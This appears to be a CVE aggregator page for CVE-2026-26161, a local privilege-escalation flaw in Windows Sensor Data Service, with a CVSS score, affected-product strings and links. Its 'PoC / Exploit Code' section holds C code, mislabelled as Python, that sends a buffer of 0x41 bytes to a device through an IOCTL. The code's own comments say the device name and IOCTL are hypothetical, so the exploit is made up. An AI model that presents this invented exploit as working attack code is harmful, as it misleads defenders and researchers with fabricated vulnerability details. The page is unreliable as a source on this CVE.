CVE-2026-26161

Description

Untrusted pointer dereference in Windows Sensor Data Service allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x86:* - VULNERABLE

Windows 10 (部分版本)

Windows 11 (部分版本)

Windows Server 2019/2022 (具体版本请参考MSRC公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// This is a conceptual PoC for Untrusted Pointer Dereference
// Compile with: cl.exe poc.cpp

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice;
    DWORD bytesReturned;
    char buffer[0x20];

    // Fill buffer with controlled pointer address (e.g., 0x41414141)
    memset(buffer, 0x41, sizeof(buffer));

    // Attempt to open the vulnerable device driver/service
    // Note: Device name is hypothetical for the Sensor Service
    hDevice = CreateFileA("\\\\.\\WindowsSensorService", 
                          GENERIC_READ | GENERIC_WRITE, 
                          0, 
                          NULL, 
                          OPEN_EXISTING, 
                          0, 
                          NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    printf("Sending malicious payload to trigger pointer dereference...\n");

    // Send the IOCTL to trigger the vulnerability
    // IOCTL code is hypothetical
    DeviceIoControl(hDevice, 
                    0x222003, // Hypothetical IOCTL
                    buffer, 
                    sizeof(buffer), 
                    NULL, 
                    0, 
                    &bytesReturned, 
                    NULL);

    printf("Exploit triggered. Check system status.\n");
    
    CloseHandle(hDevice);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-26161
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-26161
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-26161/
[4] VulDB https://vuldb.com/cve/CVE-2026-26161
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161

Raw JSON Data

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